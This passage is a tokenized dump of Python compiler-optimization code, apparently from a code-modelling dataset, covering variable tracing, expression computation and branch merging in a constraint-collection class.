"\\u\\u\\uNL\\u\\u\\u_", "return_", "variab", "le", "\\u", "trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Varia", "ble", "Del", "_", "(_", "self_", ",_", "variab", "le", "\\u", "ref_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", " ", "a", " ", "new", " ", "trace", ",", " ", "allocat", "ing", " ", "a", " ", "new", " ", "version", " ", "for", " ", "the", " ", "variab", "le", ",", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remember", " ", "the", " ", "delete", " ", "of", " ", "the", " ", "current_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "variable_", "=_", "variab", "le", "\\u", "ref_", "._", "get", "Variable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "variab", "le", "\\u", "ref_", "._", "get", "Varia", "ble", "Version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "trace_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "variab", "le", "\\u", "trace_", "=_", "Varia", "ble", "Trace", "Unin", "it_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "old", "\\u", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Assign", " ", "to", " ", "not", " ", "initialize", "d", " ", "again", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "variab", "le", "\\u", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "reference", "s", " ", "point", " ", "to", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Local", "s", "Usage_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variable_", "in_", "self_", "._", "get", "Activ", "e", "Variables_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Curr", "ent", "ly", " ", "this", " ", "is", " ", "a", " ", "bit", " ", "difficult", " ", "to", " ", "express", " ", "in", " ", "a", " ", "positive_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "way", ",", " ", "but", " ", "we", " ", "want", " ", "to", " ", "have", " ", "only", " ", "local", " ", "variab", "les", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "variable_", "._", "is", "Temp", "Variable_", "(_", ")_", "and_", "not_", "variable_", "._", "is", "Modul", "e", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "variab", "le", "\\u", "trace_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "variab", "le", "\\u", "trace_", "._", "add", "Name", "Usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Varia", "ble", "Release_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Annotate", " ", "tha", "t", " ", "release", "s", " ", "to", " ", "the", " ", "trace", ",", " ", "it", " ", "may", " ", "be", " ", "importa", "nt", " ", "knowledge", "._", "\\u\\u\\uNL\\u\\u\\u_", "current_", "._", "add", "Release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "current_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Varia", "ble", "Conten", "t", "Esc", "ape", "s_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "variable_", ")_", "._", "on", "Value", "Escape_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Expression_", "(_", "self_", ",_", "expression_", ",_", "allow", "\\u", "none_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "expression_", "is_", "None_", "and_", "allow", "\\u", "none_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "expression_", "._", "is", "Expression_", "(_", ")_", ",_", "expression_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "expression_", "._", "parent_", ",_", "expression_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "compute", " ", "this", " ", "express", "ion", ",", " ", "allow", "ing", " ", "it", " ", "to", " ", "replace", " ", "its", "elf", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "somet", "hing", " ", "else", " ", "as", " ", "part", " ", "of", " ", "a", " ", "local", " ", "pee", "p", " ", "hole", " ", "optimization", "._", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "expression_", "._", "compute", "Expression", "Raw_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "\\u", "collection_", "=_", "self_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "type_", "(_", "r_", ")_", "is_", "tuple_", ",_", "expression_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "node_", ",_", "change", "\\u", "tags_", ",_", "change", "\\u", "desc_", "=_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "change", "\\u", "tags_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "most", "ly", " ", "for", " ", "tracing", " ", "and", " ", "indicati", "on", " ", "tha", "t", " ", "a", " ", "change", " ", "occur", "red_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "it", " ", "may", " ", "be", " ", "interesting", " ", "to", " ", "look", " ", "again", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "signal", "Change_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "change", "\\u", "tags_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expression_", "._", "get", "Sou", "rce", "Reference_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "change", "\\u", "desc_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "node_", "is_", "not_", "expression_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expression_", "._", "replace", "With_", "(_", "new", "\\u", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "new", "\\u", "node_", "._", "is", "Expression", "Varia", "ble", "Ref_", "(_", ")_", "or_", "new", "\\u", "node_", "._", "is", "Expression", "Temp", "Varia", "ble", "Ref_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Reme", "mber", " ", "the", " ", "reference", " ", "for", " ", "constraint", " ", "collection", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "new", "\\u", "node_", "._", "variab", "le", "\\u", "trace_", "._", "has", "Definit", "e", "Us", "ages_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "add", " ", "variab", "le", " ", "reference", " ", "nodes", " ", "late", " ", "to", " ", "thei", "r", " ", "trace", "s", ",", " ", "only", " ", "after", " ", "the", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "actual", "ly", " ", "produce", "d", ",", " ", "and", " ", "not", " ", "resolve", "d", " ", "to", " ", "somet", "hing", " ", "else", ",", " ", "so", " ", "we", " ", "do_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "have", " ", "them", " ", "dan", "glin", "g", ",", " ", "and", " ", "the", " ", "code", " ", "complex", "it", "y", " ", "insi", "de", " ", "of", " ", "thei", "r", " ", "own_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "compute", "Expression", "\"", " ", "function", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "node_", "._", "is", "Expression", "Varia", "ble", "Ref_", "(_", ")_", "or_", "new", "\\u", "node_", "._", "is", "Expression", "Temp", "Varia", "ble", "Ref_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "new", "\\u", "node_", "._", "get", "Variable_", "(_", ")_", "._", "is", "Ma", "yb", "e", "Local", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "variab", "le", "\\u", "trace_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "new", "\\u", "node_", "._", "get", "Variable_", "(_", ")_", "._", "get", "Ma", "yb", "e", "Variable_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variab", "le", "\\u", "trace_", "._", "add", "Usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Statement_", "(_", "self_", ",_", "statement_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "statement_", "._", "is", "Statement_", "(_", ")_", ",_", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "statement_", ",_", "change", "\\u", "tags_", ",_", "change", "\\u", "desc_", "=_", "statement_", "._", "compute", "Statement_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "new", "\\u", "statem", "ent", ",", " ", "change", "\\u", "tags", ",", " ", "change", "\\u", "desc_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "new", "\\u", "statement_", "is_", "not_", "statement_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "signal", "Change_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "change", "\\u", "tags_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "statement_", "._", "get", "Sou", "rce", "Reference_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "change", "\\u", "desc_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Trac", "ing_", "._", "print", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Prob", "lem", " ", "with", " ", "statem", "ent", " ", "at", " ", "%", "s", ":\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "statement_", "._", "get", "Sou", "rce", "Reference_", "(_", ")_", "._", "get", "As", "String_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "merge", "Branc", "hes", "_", "(_", "self_", ",_", "collection", "\\u", "yes_", ",_", "collection", "\\u", "no_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Merge", " ", "two", " ", "alternative", " ", "branch", "es", " ", "int", "o", " ", "this", " ", "trace", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "most", "ly", " ", "for", " ", "mer", "ging", " ", "conditional", " ", "branch", "es", ",", " ", "or", " ", "other", " ", "way", "s", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "hav", "ing", " ", "alternative", " ", "control", " ", "flow", ".", " ", "Thi", "s", " ", "deal", "s", " ", "with", " ", "up", " ", "to", " ", "two", "\\", "10", ";", " ", " ", " ", " ", "alternative", " ", "branch", "es", " ", "to", " ", "bot", "h", " ", "change", " ", "this", " ", "collection", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Refu", "se", " ", "to", " ", "do", " ", "stu", "pid", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "collection", "\\u", "yes_", "is_", "None_", "and_", "collection", "\\u", "no_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "collection", "\\u", "yes_", "is_", "None_", "or_", "collection", "\\u", "no_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Handle", " ", "one", " ", "branch", " ", "case", ",", " ", "we", " ", "need", " ", "to", " ", "merge", " ", "version", "s", " ", "back", "ward", "s", " ", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", "y", " ", "may", " ", "make", " ", "them", "sel", "ves", " ", "obsolete", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "merge", "Multipl", "e", "Branc", "hes", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "collections_", "=_", "(_", "self_", ",_", "collection", "\\u", "yes_", "or_", "collection", "\\u", "no_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "merge", "Multipl", "e", "Branc", "hes", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "collections_", "=_", "(_", "collection", "\\u", "yes_", ",_", "collection", "\\u", "no_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "merge", "Multipl", "e", "Branc", "hes", "_", "(_", "self_", ",_", "collections_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "collections_", ")_", ">_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optimize", " ", "for", " ", "length", " ", "1", ",", " ", "whi", "ch", " ", "is", " ", "trivial", " ", "merge", " ", "and", " ", "need", "s", " ", "not", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "lot", " ", "of", " ", "work", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "collections_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "replace", "Branch_", "(_", "collections_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "variab", "le", "\\u", "versions_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "collection_", "in_", "collections_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variable_", ",_", "version_", "in_", "iter", "Items_", "(_", "collection_", "._", "variab", "le", "\\u", "active", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "variable_", "not_", "in_", "variab", "le", "\\u", "versions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "variab", "le", "\\u", "versions_", "[_", "variable_", "]_", "=_", "set_", "(_", "[_", "version_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "variab", "le", "\\u", "versions_", "[_", "variable_", "]_", "._", "add_", "(_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "collection_", "in_", "collections_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variable_", ",_", "versions_", "in_", "iter", "Items_", "(_", "variab", "le", "\\u", "versions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "variable_", "not_", "in_", "collection_", "._", "variab", "le", "\\u", "active", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "versions_", "._", "add_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "variab", "le", "\\u", "active", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "variable_", ",_", "versions_", "in_", "iter", "Items_", "(_", "variab", "le", "\\u", "versions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "versions_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", ",_", "=_", "versions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "self_", "._", "add", "Varia", "ble", "Merge", "Multipl", "e", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "traces_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "version_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "versions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace", "Branch_", "(_", "self_", ",_", "collection", "\\u", "replace_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "variab", "le", "\\u", "active", "s_", "._", "update_", "(_", "collection", "\\u", "replace_", "._", "variab", "le", "\\u", "active", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "collection", "\\u", "replace_", "._", "variab", "le", "\\u", "active", "s_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Loop", "Break", "_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "parent_", "._", "on", "Loop", "Break", "_", "(_", "collection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Loop", "Continu", "e_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "parent_", "._", "on", "Loop", "Continu", "e_", "(_", "collection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Function", "Return_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "parent_", "._", "on", "Function", "Return_", "(_", "collection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Except", "ion", "Rai", "se", "Exit_", "(_", "self_", ",_", "rais", "able", "\\u", "exceptions_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 